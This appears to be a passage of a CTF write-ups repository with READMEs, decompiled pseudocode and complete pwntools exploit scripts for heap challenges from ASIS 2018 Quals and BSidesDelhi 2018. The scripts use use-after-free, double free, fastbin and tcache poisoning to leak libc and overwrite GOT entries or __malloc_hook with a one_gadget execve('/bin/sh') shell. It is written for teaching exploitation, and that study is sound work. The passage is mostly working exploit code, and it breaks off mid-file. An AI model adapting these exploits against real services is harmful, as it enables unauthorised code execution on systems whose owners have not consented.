9 | setvbuf(stdin, 0LL, 1, 0LL); 10 | setvbuf(stderr, 0LL, 1, 0LL); 11 | return alarm(0xF0u); 12 | } 13 | 14 | int64_t setup_seccomp() 15 | { 16 | int64_t v0; // ST08_8 17 | 18 | v0 = seccomp_init(0LL); 19 | seccomp_rule_add(v0, 2147418112LL, 231LL, 0LL); 20 | seccomp_rule_add(v0, 2147418112LL, 60LL, 0LL); 21 | seccomp_rule_add(v0, 2147418112LL, 0LL, 0LL); 22 | seccomp_rule_add(v0, 2147418112LL, 1LL, 0LL); 23 | seccomp_rule_add(v0, 2147418112LL, 3LL, 0LL); 24 | return seccomp_load(v0); 25 | } 26 | 27 | int64_t main(int64_t a1, char **a2, char **a3) 28 | { 29 | __WAIT_STATUS stat_loc; // [rsp+Ch] [rbp-34h] 30 | int v5; // [rsp+14h] [rbp-2Ch] 31 | int pipedes[2]; // [rsp+18h] [rbp-28h] 32 | char buf; // [rsp+20h] [rbp-20h] 33 | 34 | LODWORD(stat_loc.__uptr) = 0; 35 | setup_env(); 36 | pipe(pipedes); 37 | pipe((int *)&stat_loc.__iptr + 1); 38 | if ( fork() ) 39 | { 40 | do 41 | read(SHIDWORD(stat_loc.__iptr), &buf, 0x80uLL); 42 | while ( strcmp(off_6020A0, &buf) ); 43 | wait((__WAIT_STATUS)&stat_loc); 44 | } 45 | else 46 | { 47 | setup_seccomp(); 48 | puts( 49 | "-> You're waiting for a train; a train that will take you far away. You know where you hope this train will take y" 50 | "ou, but you can't be sure."); 51 | printf("-> Let's do something: ", a2); 52 | read(0, &buf, 0x100uLL); 53 | if ( strcmp(s1, &buf) ) 54 | { 55 | write(1, off_6020B0, 8uLL); 56 | write(v5, "TRANSMISSION_OVER", 10uLL); 57 | exit(0); 58 | } 59 | write(1, ::buf, 8uLL); 60 | } 61 | return 0LL; 62 | } 63 | -------------------------------------------------------------------------------- /ctfs/ASIS/2018/Quals/cat/README.md: -------------------------------------------------------------------------------- 1 | `cat` is a good challenge to understand how `glibc heap` handles `fast bins`. You can populate the content of fast bins to influence the program data flow if the developers do not initialize the memory (allocated via `malloc`) correctly. 2 | -------------------------------------------------------------------------------- /ctfs/ASIS/2018/Quals/cat/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | def create_pet(name, kind, age): 6 | p.recvuntil('which command?') 7 | p.sendline('1') 8 | p.recvuntil('What\'s the pet\'s name?') 9 | p.sendline(name) 10 | p.recvuntil('What\'s the pet\'s kind?') 11 | p.sendline(kind) 12 | p.recvuntil('How old?') 13 | p.sendline(str(age)) 14 | p.recvuntil('create record id:') 15 | return int(p.recvuntil('\n').strip()) 16 | 17 | def edit_pet(id_, name, kind, age, modify, attack=False): 18 | p.recvuntil('which command?') 19 | p.sendline('2') 20 | p.recvuntil('which id?') 21 | p.sendline(str(id_)) 22 | p.recvuntil('What\'s the pet\'s name?') 23 | p.sendline(name) 24 | 25 | if attack: 26 | return 27 | 28 | p.recvuntil('What\'s the pet\'s kind?') 29 | p.sendline(kind) 30 | p.recvuntil('How old?') 31 | p.sendline(str(age)) 32 | p.recvuntil('Would you modify? (y)/n>') 33 | p.sendline(modify) 34 | 35 | def print_pet(id_): 36 | p.recvuntil('which command?') 37 | p.sendline('3') 38 | p.recvuntil('which id?') 39 | p.sendline(str(id_)) 40 | 41 | def leak(addr): 42 | id_ = create_pet('A' * 7, 'B' * 7, 10) 43 | edit_pet(id_, 'A' * 7, 'B' * 7, 10, 'n') 44 | 45 | create_pet('A' * 7, p64(0x6020a0 + 2 * 8) + p64(0x6020a0 + 2 * 8), 10) 46 | 47 | # create a fake record somewhere in .bss 48 | edit_pet(id_, p64(0x6020f8), p64(0x6020f8), 10, 'y') 49 | 50 | id_ = create_pet('A' * 7, 'B' * 7, 10) 51 | edit_pet(id_, 'A' * 7, 'B' * 7, 10, 'n') 52 | 53 | id_ = create_pet('A' * 7, p64(0x6020f8) + p64(0x6020f8), 10) 54 | 55 | # put the read@GOT address as name and kind pointers 56 | edit_pet(id_, p64(addr), p64(addr), 10, 'y') 57 | 58 | print_pet(2) 59 | 60 | p.recvuntil('name: ') 61 | return u64(p.recvuntil('\nkind:').replace('\nkind:', '') + '\00\00') 62 | 63 | def exploit(addr, data): 64 | id_ = create_pet('A' * 7, 'B' * 7, 10) 65 | edit_pet(id_, 'A' * 7, 'B' * 7, 10, 'n') 66 | 67 | create_pet('A' * 7, p64(addr) + p64(addr), 10) 68 | 69 | edit_pet(id_, data, data, 10, 'y', True) 70 | 71 | with context.quiet: 72 | p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'}) 73 | 74 | read_addr = leak(0x602048) 75 | 76 | print 'Read Addr: ' + hex(read_addr) 77 | 78 | ''' 79 | using libc database, we can detect the version of libc, which is: 80 | libc6_2.23-0ubuntu10_amd64.so 81 | 82 | 0x45216 execve("/bin/sh", rsp+0x30, environ) 83 | constraints: 84 | rax == NULL 85 | ''' 86 | libc_base = read_addr - 0xf7250 87 | 88 | print 'Libc Base: ' + hex(libc_base) 89 | 90 | # replace printf GOT address with one gadget's execve 91 | exploit(0x602038, p64(libc_base + 0x45216)) 92 | 93 | p.interactive() 94 | -------------------------------------------------------------------------------- /ctfs/ASIS/2018/Quals/cat/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/ASIS/2018/Quals/cat/libc-2.23.so -------------------------------------------------------------------------------- /ctfs/ASIS/2018/Quals/cat/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/ASIS/2018/Quals/cat/program -------------------------------------------------------------------------------- /ctfs/ASIS/2018/Quals/fifty_dollars/README.md: -------------------------------------------------------------------------------- 1 | In `AsisCTF Quals 2018 - Fifty Dollars` challenge, we can leak `heap` base address using a `use after free` vulnerability, and leak `libc` base address using a `double free` vulnerability (by mounting `fastbin attack`). 2 | 3 | This is a good challenge to understand how to exploit `x86_64` binaries with `Full RELRO`, `Canary`, `NX`, `PIE`, and `ASLR` enabled. -------------------------------------------------------------------------------- /ctfs/ASIS/2018/Quals/fifty_dollars/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | def alloc(index, content): 6 | p.recvuntil('Your choice:') 7 | p.sendline('1') 8 | p.recvuntil('Index:') 9 | p.sendline(str(index)) 10 | p.recvuntil('Content:') 11 | p.send(content) 12 | 13 | def show(index): 14 | p.recvuntil('Your choice:') 15 | p.sendline('2') 16 | p.recvuntil('Index:') 17 | p.sendline(str(index)) 18 | return p.recvuntil('Done!\n') 19 | 20 | def free(index): 21 | p.recvuntil('Your choice:') 22 | p.sendline('3') 23 | p.recvuntil('Index:') 24 | p.sendline(str(index)) 25 | p.recvuntil('Done!\n') 26 | 27 | def leak_heap(): 28 | alloc(0, 'a' * 80) # fastbin_1 29 | alloc(1, 'b' * 80) # fastbin_2 30 | alloc(2, 'c' * 80) # fastbin_3 31 | 32 | # fastbin_1 would be at the end of list 33 | # pointing to fastbin_2 34 | free(2) 35 | free(1) 36 | free(0) 37 | 38 | # use after free 39 | # leak fastbin_1's fd pointer which points to fastbin_2 40 | return u64(show(0)[0:6] + '\x00\x00') - 96 41 | 42 | def leak_libc(heap_base): 43 | alloc(0, 'd' * 80) # fastbin_4 (heap_base + 0) 44 | alloc(1, 'e' * 80) # fastbin_5 (heap_base + 96) 45 | alloc(2, 'f' * 80) # fastbin_6 (heap_base + 96 + 96) 46 | 47 | # allocate this to prevent consolidation with top chunk 48 | alloc(3, 'g' * 80) # fastbin_7 (heap_base + 96 + 96 + 96) 49 | 50 | # double free, put fastbin_4 in the free list twice 51 | free(0) 52 | free(1) 53 | free(0) 54 | 55 | # fastbin_8 allocates in the place of fastbin_4 56 | # put fake chunk's address in fd pointer 57 | fake_chunk = heap_base + 16 58 | alloc(0, p64(fake_chunk) + 'd' * 72) # fastbin_8 (heap_base + 0) 59 | 60 | # fastbin_9 allocates in the place of fastbin_5 61 | alloc(1, 'e' * 80) # fastbin_9 (heap_base + 96) 62 | 63 | # fastbin_10 and fastbin_8 points to the same chunk 64 | # set the fake chunk's size and fd 65 | alloc(0, p64(0) + p64(97) + p64(0) + 'd' * 56) # fastbin_10 (heap_base + 0) 66 | 67 | # this allocation returns the fake chunk 68 | # fake chunk overlaps with fastbin_9 69 | # set fastbin_9 to 192, which makes it a small bin chunk 70 | alloc(4, 'h' * 64 + p64(0) + p64(193)) 71 | 72 | # this free writes libc address fd and bk pointers of fastbin_9 73 | free(1) 74 | 75 | # we can leak the libc address 76 | return u64(show(1)[0:6] + '\x00\x00') - 0x3c4b78 77 | 78 | with context.quiet: 79 | p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'}) 80 | 81 | heap_base = leak_heap() 82 | print 'heap base: {}'.format(hex(heap_base)) 83 | 84 | libc_base = leak_libc(heap_base) 85 | print 'libc base: {}'.format(hex(libc_base)) 86 | 87 | p.interactive() 88 | 89 | -------------------------------------------------------------------------------- /ctfs/ASIS/2018/Quals/fifty_dollars/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/ASIS/2018/Quals/fifty_dollars/libc-2.23.so -------------------------------------------------------------------------------- /ctfs/ASIS/2018/Quals/fifty_dollars/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/ASIS/2018/Quals/fifty_dollars/program -------------------------------------------------------------------------------- /ctfs/ASIS/2018/Quals/fifty_dollars/pseudocode.cc: -------------------------------------------------------------------------------- 1 | const char *heap[10]; 2 | 3 | int Init() 4 | { 5 | setvbuf(stdin, 0LL, 2, 0LL); 6 | setvbuf(stdout, 0LL, 2, 0LL); 7 | return setvbuf(stderr, 0LL, 2, 0LL); 8 | } 9 | 10 | ssize_t myputs(const char *a1) 11 | { 12 | size_t v1; // rax 13 | 14 | v1 = strlen(a1); 15 | return write(1, a1, v1); 16 | } 17 | 18 | ssize_t del(unsigned int a1) 19 | { 20 | ssize_t result; // rax 21 | 22 | if ( a1 <= 9 ) 23 | { 24 | free((void *)heap[a1]); 25 | result = myputs("Done!\n"); 26 | } 27 | return result; 28 | } 29 | 30 | void alloc(unsigned int a1) 31 | { 32 | if ( a1 <= 9 ) 33 | { 34 | heap[a1] = (const char *)malloc(80uLL); 35 | myputs("Content:"); 36 | read(0, (void *)heap[a1], 80uLL); 37 | myputs("Done!\n"); 38 | } 39 | } 40 | 41 | const char *show(unsigned int a1) 42 | { 43 | const char *result; // rax 44 | 45 | if ( a1 <= 9 ) 46 | { 47 | result = heap[a1]; 48 | if ( result ) 49 | { 50 | myputs(heap[a1]); 51 | result = (const char *)myputs("Done!\n"); 52 | } 53 | } 54 | return result; 55 | } 56 | 57 | ssize_t menu(int64_t a1, int64_t a2) 58 | { 59 | myputs("1.alloc\n"); 60 | myputs("2.show\n"); 61 | myputs("3.free\n"); 62 | myputs("4.exit\n"); 63 | return myputs("Your choice:"); 64 | } 65 | 66 | int main() 67 | { 68 | char *v3; // rsi 69 | const char *v4; // rdi 70 | int v6; // [rsp+8h] [rbp-28h] 71 | unsigned int v7; // [rsp+Ch] [rbp-24h] 72 | char s; // [rsp+10h] [rbp-20h] 73 | uint64_t v9; // [rsp+28h] [rbp-8h] 74 | 75 | Init(); 76 | v3 = 0LL; 77 | v4 = &s; 78 | memset(&s, 0, 16uLL); 79 | while ( 1 ) 80 | { 81 | menu((int64_t)v4, (int64_t)v3); 82 | read(0, &s, 15uLL); 83 | v6 = atoi(&s); 84 | if ( v6 == 4 ) 85 | break; 86 | myputs("Index:"); 87 | v3 = &s; 88 | read(0, &s, 15uLL); 89 | v7 = atoi(&s); 90 | switch ( v6 ) 91 | { 92 | case 2: 93 | v4 = (const char *)v7; 94 | show(v7); 95 | break; 96 | case 3: 97 | v4 = (const char *)v7; 98 | del(v7); 99 | break; 100 | case 1: 101 | v4 = (const char *)v7; 102 | alloc(v7); 103 | break; 104 | default: 105 | v4 = "Invalid option!\n"; 106 | myputs("Invalid option!\n"); 107 | break; 108 | } 109 | } 110 | return 0; 111 | } 112 | -------------------------------------------------------------------------------- /ctfs/ASIS/2018/Quals/just_sort/README.md: -------------------------------------------------------------------------------- 1 | In `AsisCTF Quals 2018 - Just Sort!` challenge, there is a `heap overflow` vulnerability that we can leak `free@GOT` address, and find `libc` base address as the result. Then, we can overwrite `free@GOT` by `one_gadget`'s address to get shell. This is a good challenge to understand how to exploit `x86_64` binaries with `Canary`, `NX`, and `ASLR` enabled. 2 | -------------------------------------------------------------------------------- /ctfs/ASIS/2018/Quals/just_sort/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | def insert_record(size, text): 6 | p.recvuntil('which command?\n> ') 7 | p.sendline('1') 8 | p.recvuntil('how many charactors will you store? (0<=len<=100)\n> ') 9 | p.sendline(str(size)) 10 | p.recvuntil('Please input memo\n> ') 11 | p.send(text) 12 | 13 | def edit_record(hash_id, pos, text): 14 | p.recvuntil('which command?\n> ') 15 | p.sendline('2') 16 | p.recvuntil('which hash number?\n> ') 17 | p.sendline(str(hash_id)) 18 | p.recvuntil('which position number?\n> ') 19 | p.sendline(str(pos)) 20 | p.recvuntil('Please input memo\n> ') 21 | p.send(text) 22 | 23 | def print_record(): 24 | p.recvuntil('which command?\n> ') 25 | p.sendline('3') 26 | 27 | def search_record(size, text): 28 | p.recvuntil('which command?\n> ') 29 | p.sendline('4') 30 | p.recvuntil('How many charactors does search word have? (0<=len<=100)\n> ') 31 | p.sendline(str(size)) 32 | p.recvuntil('which value do you looking for?\n> ') 33 | p.send(text) 34 | 35 | def delete_record(hash_id, pos): 36 | p.recvuntil('which command?\n> ') 37 | p.sendline('5') 38 | p.recvuntil('which hash number?\n> ') 39 | p.sendline(str(hash_id)) 40 | p.recvuntil('which position number?\n> ') 41 | p.sendline(str(pos)) 42 | 43 | with context.quiet: 44 | p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'}) 45 | 46 | insert_record(10, 'a' * 10) # record_1 (hash_id:1, pos:0) 47 | insert_record(10, 'b' * 10) # record_2 (hash_id:1, pos:1) 48 | 49 | # delete and re-create record_2 50 | # this makes the two fastbin chunks to switch places 51 | delete_record(1, 1) 52 | insert_record(10, 'b' * 10) # record_2 (hash_id:1, pos:1) 53 | 54 | # delete record_1, so search_record allocate memo on top of record_2 55 | delete_record(1, 0) 56 | 57 | # overflow happens in search, so we replace record_2's memo location with free's GOT address 58 | search_record(10, 'b' * 24 + p64(0x21) + p64(0) + p64(0x602018) + '\n') 59 | 60 | # printing the records, we can leak the free's GOT address, and find libc base 61 | print_record() 62 | 63 | p.recvuntil('0: "') 64 | libc_base = u64(p.recv(6) + '\00\00') - 0x844f0 65 | print 'libc base: {}'.format(hex(libc_base)) 66 | 67 | ''' 68 | 0x4526a execve("/bin/sh", rsp+0x30, environ) 69 | constraints: 70 | [rsp+0x30] == NULL 71 | ''' 72 | 73 | # write the one_gadget's address into free's GOT 74 | edit_record(1, 0, p64(libc_base + 0x4526a) + '\n') 75 | 76 | # trigger free, so we get the shell 77 | delete_record(1, 0) 78 | 79 | p.interactive() 80 | 81 | -------------------------------------------------------------------------------- /ctfs/ASIS/2018/Quals/just_sort/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/ASIS/2018/Quals/just_sort/libc-2.23.so -------------------------------------------------------------------------------- /ctfs/ASIS/2018/Quals/just_sort/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/ASIS/2018/Quals/just_sort/program -------------------------------------------------------------------------------- /ctfs/ASIS/2018/Quals/message_me/README.md: -------------------------------------------------------------------------------- 1 | In `AsisCTF Quals 2018 - Message Me!` challenge, we leak `libc` base address using a `Use After Free (UAF)` vulnerability. Using the same `Use After Free (UAF)` vulnerability, we overwrite `__malloc_hook` by `overlapping fastbin chunks`. Finally, we trigger `__malloc_hook` using a `Double Free` vulnerability on `fastbins`. This is a good example of `Heap Exploitation` challenge to understand how to hijack control flow in `x86_64` binaries with `Canary`, `NX`, and `ASLR` enabled. -------------------------------------------------------------------------------- /ctfs/ASIS/2018/Quals/message_me/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | def add(size, message): 6 | p.recvuntil('choice : ') 7 | p.sendline('0') 8 | p.recvuntil('Give me the message size : ') 9 | p.sendline(str(size)) 10 | p.recvuntil('Give me your meesage : ') 11 | p.send(message) 12 | 13 | def remove(index): 14 | p.recvuntil('choice : ') 15 | p.sendline('1') 16 | p.recvuntil('Give me index of the message : ') 17 | p.sendline(str(index)) 18 | 19 | def show(index): 20 | p.recvuntil('choice : ') 21 | p.sendline('2') 22 | p.recvuntil('Give me index of the message : ') 23 | p.sendline(str(index)) 24 | 25 | def change(index): 26 | p.recvuntil('choice : ') 27 | p.sendline('3') 28 | p.recvuntil('Give me index of the message : ') 29 | p.sendline(str(index)) 30 | 31 | def leak(): 32 | # create a smallbin chunk 33 | add(200, 'a' * 199) # index = 0 34 | 35 | # trigger show to let ctime create its stuff in heap 36 | show(0) 37 | 38 | remove(0) 39 | 40 | # launch use-after-free attack to leak bk pointer in the freed smallbin chunk 41 | show(0) 42 | 43 | p.recvuntil('Message : ') 44 | return u64(p.recv(6) + '\x00\x00') - 0x3c4b78 45 | 46 | def exploit(libc_base): 47 | # create this fastbin to trigger double free attack later to trigger __malloc_hook 48 | add(32, '\n') # fastbin_1 (index = 1) 49 | remove(1) 50 | 51 | # try to make a fake chunk before __malloc_hook in the main arena 52 | # we can overwrite __malloc_hook when allocator returned this chunk 53 | libc_fake_chunk = libc_base + 0x3c4aed 54 | 55 | # we also make a fake chunk inside fastbin_2 (heap_fake_chunk) 56 | # heap_fake_chunk's fd points to libc_fake_chunk 57 | add(96, p64(121) + p64(libc_fake_chunk) + 'b' * (95 - 16)) # fastbin_2 (index = 2) 58 | add(96, 'c' * 95) # fastbin_3 (index = 3) 59 | 60 | # fastbin_3'fd poinsts to fastbin_2 after freeing both 61 | remove(2) 62 | remove(3) 63 | 64 | # since srand is called with a fixed seed, we can predict the rand() output 65 | # rand() generates 3, 6, 7 after calling change timestamp 3 times 66 | # we can increase the fastbin_3's fd by 16, so its fd points to heap_fake_chunk 67 | change(3) 68 | change(3) 69 | change(3) 70 | 71 | # this allocation returns fastbin_3's chunk and put heap_fake_chunk in fastbin free list 72 | add(96, 'd' * 95) # fastbin_4 (index = 4) 73 | 74 | # this allocation returns heap_fake_chunk, and put libc_fake_chunk in fastbin free list 75 | add(96, 'e' * 8 + '\n') # fastbin_5 (index = 5) 76 | 77 | # this allocaiont returns libc_fake_chunk, so we overwrite __malloc_hook with one_gadget's address 78 | # 0xf02a4 execve("/bin/sh", rsp+0x50, environ) 79 | # constraints: 80 | # [rsp+0x50] == NULL 81 | one_gadget = libc_base + 0xf02a4 82 | add(96, 'f' * 11 + p64(one_gadget) + '\n') # fastbin_6 (index = 6) 83 | 84 | # launch double free, so malloc_printerr get called, which calls __malloc_hook internally 85 | remove(1) 86 | 87 | with context.quiet: 88 | p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'}) 89 | 90 | libc_base = leak() 91 | print 'libc base: {}'.format(hex(libc_base)) 92 | 93 | exploit(libc_base) 94 | 95 | p.interactive() 96 | 97 | -------------------------------------------------------------------------------- /ctfs/ASIS/2018/Quals/message_me/libc-2.23.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/ASIS/2018/Quals/message_me/libc-2.23.so -------------------------------------------------------------------------------- /ctfs/ASIS/2018/Quals/message_me/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/ASIS/2018/Quals/message_me/program -------------------------------------------------------------------------------- /ctfs/ASIS/2018/Quals/message_me/pseudocode.cc: -------------------------------------------------------------------------------- 1 | time_t *msg_list[16]; 2 | 3 | int menu() 4 | { 5 | puts(" Message System "); 6 | puts("---------------------"); 7 | puts("0 : Add a message"); 8 | puts("1 : Remove the message"); 9 | puts("2 : Show the message"); 10 | puts("3 : Change the timestamp"); 11 | return puts("---------------------"); 12 | } 13 | 14 | uint64_t add() 15 | { 16 | int i; // [rsp+Ch] [rbp-24h] 17 | int64_t size; // [rsp+10h] [rbp-20h] 18 | time_t *message; // [rsp+18h] [rbp-18h] 19 | void *buf; // [rsp+20h] [rbp-10h] 20 | uint64_t v5; // [rsp+28h] [rbp-8h] 21 | 22 | printf("Give me the message size : "); 23 | __isoc99_scanf("%lld", &size); 24 | if ( size > 16 && size <= 4095 ) 25 | { 26 | message = (time_t *)malloc(size + 8); 27 | *message = time(0LL); 28 | printf("Give me your meesage : ", &size); 29 | buf = message + 1; 30 | read(0, message + 1, size - 1); 31 | *((char *)buf + size - 1) = 0; 32 | for ( i = 0; i <= 15; ++i ) 33 | { 34 | if ( !msg_list[i] ) 35 | { 36 | msg_list[i] = message; 37 | puts("Done!!"); 38 | } 39 | } 40 | } 41 | } 42 | 43 | uint64_t remove() 44 | { 45 | int64_t index; // [rsp+0h] [rbp-10h] 46 | uint64_t v2; // [rsp+8h] [rbp-8h] 47 | 48 | printf("Give me index of the message : "); 49 | __isoc99_scanf("%lld", &index); 50 | if ( index >= 0 && index <= 15 && msg_list[index] ) 51 | { 52 | free(msg_list[index]); 53 | puts("Done!!"); 54 | } 55 | } 56 | 57 | uint64_t show() 58 | { 59 | char *v0; // rax 60 | int64_t index; // [rsp+0h] [rbp-10h] 61 | uint64_t v3; // [rsp+8h] [rbp-8h] 62 | 63 | printf("Give me index of the message : "); 64 | __isoc99_scanf("%lld", &index); 65 | if ( index >= 0 && index <= 15 && msg_list[index] ) 66 | { 67 | v0 = ctime(msg_list[index]); 68 | printf("Time : %sMessage : ", v0); 69 | puts((const char *)msg_list[index] + 8); 70 | } 71 | } 72 | 73 | uint64_t change_time_stamp() 74 | { 75 | int64_t index; // [rsp+0h] [rbp-10h] 76 | uint64_t v2; // [rsp+8h] [rbp-8h] 77 | 78 | printf("Give me index of the message : "); 79 | __isoc99_scanf("%lld", &index); 80 | *msg_list[index] += rand() % 10; 81 | puts("Done!!"); 82 | } 83 | 84 | int main() 85 | { 86 | int64_t *v3; // rsi 87 | int64_t v4; // [rsp+0h] [rbp-10h] 88 | uint64_t v5; // [rsp+8h] [rbp-8h] 89 | 90 | setvbuf(stdout, 0LL, 2, 0LL); 91 | v3 = 0LL; 92 | setvbuf(stdin, 0LL, 2, 0LL); 93 | srand(1u); 94 | while ( 1 ) 95 | { 96 | menu(); 97 | printf("choice : ", v3); 98 | v3 = &v4; 99 | __isoc99_scanf("%lld", &v4); 100 | if ( v4 ) 101 | { 102 | switch ( v4 ) 103 | { 104 | case 1LL: 105 | remove(); 106 | break; 107 | case 2LL: 108 | show(); 109 | break; 110 | case 3LL: 111 | change_time_stamp(); 112 | break; 113 | default: 114 | puts("Wrong Choice"); 115 | break; 116 | } 117 | } 118 | else 119 | { 120 | add(); 121 | } 122 | } 123 | } 124 | -------------------------------------------------------------------------------- /ctfs/BSidesDelhi/2018/data_bank/README.md: -------------------------------------------------------------------------------- 1 | In `BSidesDelhi 2018 - data_bank` challenge, there is a `use after free (UAF)` vulnerability which leads to `tcache poisoning`. Using this, we leak a `libc` address to de-randomize `ASLR`, and then put our `fake chunk` address into the `tcache` bin using `tcache poisoning` attack. As a result, we can force `malloc` to return our `fake chunk` before `__malloc_hook`, so we can overwrite `__malloc_hook` with `one gadget`. This is an interesting `heap exploitation` challenge to learn bypassing protections like `NX`, `PIE`, `Canary`, `Full RELRO`, and `ASLR` in `x86_64` binaries in presence of `tcache`. -------------------------------------------------------------------------------- /ctfs/BSidesDelhi/2018/data_bank/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | def add_data(index, size, data, attack=False): 6 | p.sendlineafter('>> ', '1') 7 | p.sendlineafter('Enter the index:\n', str(index)) 8 | p.sendlineafter('Enter the size:\n', str(size)) 9 | if attack: 10 | return 11 | p.sendafter('Enter data:\n', data) 12 | 13 | def edit_data(index, data): 14 | p.sendlineafter('>> ', '2') 15 | p.sendlineafter('Enter the index:\n', str(index)) 16 | p.sendafter('Please update the data:\n', data) 17 | 18 | def remove_data(index): 19 | p.sendlineafter('>> ', '3') 20 | p.sendlineafter('Enter the index:\n', str(index)) 21 | 22 | def view_data(index): 23 | p.sendlineafter('>> ', '4') 24 | p.sendlineafter('Enter the index:\n', str(index)) 25 | 26 | with context.quiet: 27 | p = process('./program', env = {'LD_PRELOAD': './libc-2.27.so'}) 28 | 29 | # data[0] => chunk_0 (0x111) 30 | add_data(0, 0x100, 'a' * 0x100) 31 | # data[1] => chunk_1 (0x111) 32 | add_data(1, 0x100, 'b' * 0x100) 33 | 34 | # remove chunk_1 7 times to fill the tcache bins for size 0x110 35 | # due to use-after-free, we can delete chunk_1 multiple times 36 | for i in range(7): 37 | remove_data(1) 38 | 39 | # this remove will put chunk_0 in the unsorted bin instead of tcache 40 | # because it's already filled 41 | remove_data(0) 42 | 43 | # using use-after-free (UAF) vulnerability, we can leak the libc address 44 | view_data(0) 45 | 46 | # here we can find the libc base using the leaked libc address 47 | p.recvuntil('Your data :') 48 | libc_addr = p.recvuntil('\n\n1)')[0:-4] 49 | libc_base = u64(libc_addr + '\x00' * (8 - len(libc_addr))) - 0x3ebca0 50 | print 'libc base: {}'.format(hex(libc_base)) 51 | 52 | # data[2] => chunk_2 (0x71) 53 | # we need this chunk with size 0x71 in order to launch tcache_poisoning 54 | add_data(2, 0x68, 'c' * 0x68) 55 | # this puts fake chunk address in the tcache bin 56 | remove_data(2) 57 | 58 | # we can create a fake chunk before __malloc_hook with size of 0x7f 59 | malloc_hook = libc_base + 0x3ebc30 60 | fake_chunk = malloc_hook - 0x13 61 | print 'fake chunk: {}'.format(hex(fake_chunk)) 62 | 63 | # using use-after-free (UAF) vulnerability, we can populate chunk_2's fd 64 | # with the address of fake chunk 65 | edit_data(2, p64(fake_chunk) + '\n') 66 | 67 | # data[3] => chunk_2 (0x71) 68 | # this allocation returns the chunk_2 which is the head of tcache bin 69 | # it also puts our fake chunk as the head of the tcache bin 70 | add_data(3, 0x68, 'd' * 0x68) 71 | 72 | ''' 73 | 0x10a38c execve("/bin/sh", rsp+0x70, environ) 74 | constraints: 75 | [rsp+0x70] == NULL 76 | ''' 77 | # data[4] => fake_chunk (0x7f) 78 | # this allocation serves our fake chunk from tcache bin 79 | # we then overwrite __malloc_hook with one gadget 80 | add_data(4, 0x68, 'e' * 0x13 + p64(libc_base + 0x10a38c) + '\n') 81 | 82 | # this allocation will trigger __malloc_hook, which gives us shell 83 | add_data(5, 0, '', True) 84 | 85 | p.interactive() 86 | 87 | -------------------------------------------------------------------------------- /ctfs/BSidesDelhi/2018/data_bank/libc-2.27.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/BSidesDelhi/2018/data_bank/libc-2.27.so -------------------------------------------------------------------------------- /ctfs/BSidesDelhi/2018/data_bank/program: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sajjadium/ctf-writeups/1fed8bd75274fd50981977a845d961ecd7dd99ef/ctfs/BSidesDelhi/2018/data_bank/program -------------------------------------------------------------------------------- /ctfs/BSidesDelhi/2018/data_bank/pseudocode.cc: -------------------------------------------------------------------------------- 1 | int count = 5; 2 | unsigned int size[8]; 3 | int64_t table[7]; 4 | 5 | int64_t get_inp(void *a1, int a2) 6 | { 7 | int v3; // [rsp+1Ch] [rbp-4h] 8 | 9 | v3 = read(0, a1, a2); 10 | if ( v3 == -1 ) 11 | exit(0); 12 | if ( *((char *)a1 + v3 - 1) == 0xA ) 13 | *((char *)a1 + v3 - 1) = 0; 14 | return (unsigned int)(v3 - 1); 15 | } 16 | 17 | int get_int() 18 | { 19 | char nptr; // [rsp+0h] [rbp-30h] 20 | uint64_t v2; // [rsp+28h] [rbp-8h] 21 | 22 | get_inp(&nptr, 0x20); 23 | return atoi(&nptr); 24 | } 25 | 26 | int printmenu() 27 | { 28 | puts("1) Add data\n2) Edit data\n3) Remove data\n4) View data\n5) Exit"); 29 | printf(">> "); 30 | return get_int(); 31 | } 32 | 33 | int add() 34 | { 35 | int result; // eax 36 | int index; // [rsp+Ch] [rbp-4h] 37 | 38 | puts("Enter the index:"); 39 | result = get_int(); 40 | index = result; 41 | while ( index >= 0 && index <= 6 ) 42 | { 43 | if ( table[index] ) 44 | return puts("The idx is occupied\n"); 45 | puts("Enter the size:"); 46 | size[index] = get_int(); 47 | if ( (size[index] & 0x80000000) == 0 && (signed int)size[index] <= 1024 ) 48 | { 49 | table[index] = malloc((signed int)size[index]); 50 | if ( !table[index] ) 51 | return puts("malloc_error"); 52 | puts("Enter data:"); 53 | return get_inp((void *)table[index], size[index]); 54 | } 55 | result = puts("Invalid size"); 56 | } 57 | return result; 58 | } 59 | 60 | int edit() 61 | { 62 | int index; // eax 63 | int idx; // [rsp+8h] [rbp-8h] 64 | 65 | puts("Enter the 